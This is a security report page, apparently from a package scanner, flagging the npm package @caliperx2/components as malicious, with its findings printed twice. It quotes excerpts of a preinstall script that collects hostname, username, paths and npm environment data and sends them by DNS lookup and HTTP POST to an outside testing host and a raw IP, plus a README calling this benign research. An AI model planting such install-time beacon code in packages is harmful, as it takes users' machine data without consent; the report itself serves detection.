@caliperx2/components@0.0.1: Malicious npm security report | LPM Firewall

Loading npm security reports…

@caliperx2/components@0.0.1: Malicious npm security report | LPM Firewall

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js" }

High

Ai Review Evidence

Installation automatically runs a preinstall script.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

39function collect() { var user = 'unknown'; try { user = os.userInfo().username || process.env.USER || process.env.USERNAME || 'unknown'; } catch (e) {} return { token: TOKEN, pkg: '@caliperx2/components@9999.0.0', hostname: safe(function () { return os.hostname(); }), username: user, cwd: safe(function () { return process.cwd(); }), installPath: __dirname, platform: safe(function () { return process.platform + ' ' + os.release(); }), node: process.version, npm_user_agent: process.env.npm[redacted] || '', npm[redacted]: process.env.npm

High

Ai Review Evidence

The script collects the local hostname, username, current directory, installation path, and npm metadata.

preinstall.jsView on unpkg · L39

60// Channel 1: DNS beacon to interactsh (survives HTTP-egress filtering). function dnsBeacon(info) { try { var name = [ hexLabel(TOKEN), hexLabel(info.hostname), hexLabel(info.username), OAST_HOST ].join('.'); dns.lookup(name, function () {}); } catch (e) {} }

High

Ai Review Evidence

It encodes the hostname and username into a DNS lookup to an external OAST host.

preinstall.jsView on unpkg · L60

73// Channels 2 & 3: HTTP POST of the JSON blob to interactsh (https->http) and to // the raw-IP logger. function httpBeacon(host, useHttps, info) { var body; try { body = JSON.stringify(info); } catch (e) { body = '{"token":"' + TOKEN + '"}'; } var opts = { method: 'POST', host: host, port: useHttps ? 443 : 80, path: '/beacon/' + encodeURIComponent(TOKEN), headers: { 'content-type': 'application/json', 'content-length': Buffer.byteLength(body) }, timeout: HTTP_TIMEOUT_MS }; try { var lib = useHttps ? https : http; var req = lib.request(opts, function (r

High

Ai Review Evidence

It POSTs the collected JSON to an external domain and a raw IP address.

preinstall.jsView on unpkg · L73

README.mdView file

11## What `preinstall` does On `npm install` it sends a single one-shot beacon containing **only**: - a fixed unique token - `os.hostname()` - the local username (`os.userInfo().username`) - the install directory and current working directory - OS platform / Node.js version / npm user-agent string It does **not** read files, environment variable values, credentials, or network configuration. It does **not** persist anything, does **not** spawn a shell, and exits cleanly without breaking the install.

High

Ai Review Evidence

Comments and README text assert benign security research, which is reviewer-directed self-justification rather than consent.

README.mdView on unpkg · L11

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node preinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js" }

High

Ai Review Evidence

Installation automatically runs a preinstall script.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

39function collect() { var user = 'unknown'; try { user = os.userInfo().username || process.env.USER || process.env.USERNAME || 'unknown'; } catch (e) {} return { token: TOKEN, pkg: '@caliperx2/components@9999.0.0', hostname: safe(function () { return os.hostname(); }), username: user, cwd: safe(function () { return process.cwd(); }), installPath: __dirname, platform: safe(function () { return process.platform + ' ' + os.release(); }), node: process.version, npm_user_agent: process.env.npm[redacted] || '', npm[redacted]: process.env.npm

High

Ai Review Evidence

The script collects the local hostname, username, current directory, installation path, and npm metadata.

preinstall.jsView on unpkg · L39

60// Channel 1: DNS beacon to interactsh (survives HTTP-egress filtering). function dnsBeacon(info) { try { var name = [ hexLabel(TOKEN), hexLabel(info.hostname), hexLabel(info.username), OAST_HOST ].join('.'); dns.lookup(name, function () {}); } catch (e) {} }

High

Ai Review Evidence

It encodes the hostname and username into a DNS lookup to an external OAST host.

preinstall.jsView on unpkg · L60

73// Channels 2 & 3: HTTP POST of the JSON blob to interactsh (https->http) and to // the raw-IP logger. function httpBeacon(host, useHttps, info) { var body; try { body = JSON.stringify(info); } catch (e) { body = '{"token":"' + TOKEN + '"}'; } var opts = { method: 'POST', host: host, port: useHttps ? 443 : 80, path: '/beacon/' + encodeURIComponent(TOKEN), headers: { 'content-type': 'application/json', 'content-length': Buffer.byteLength(body) }, timeout: HTTP_TIMEOUT_MS }; try { var lib = useHttps ? https : http; var req = lib.request(opts, function (r

High

Ai Review Evidence

It POSTs the collected JSON to an external domain and a raw IP address.

preinstall.jsView on unpkg · L73

README.mdView file

11## What `preinstall` does On `npm install` it sends a single one-shot beacon containing **only**: - a fixed unique token - `os.hostname()` - the local username (`os.userInfo().username`) - the install directory and current working directory - OS platform / Node.js version / npm user-agent string It does **not** read files, environment variable values, credentials, or network configuration. It does **not** persist anything, does **not** spawn a shell, and exits cleanly without breaking the install.

High

Ai Review Evidence

Comments and README text assert benign security research, which is reviewer-directed self-justification rather than consent.

README.mdView on unpkg · L11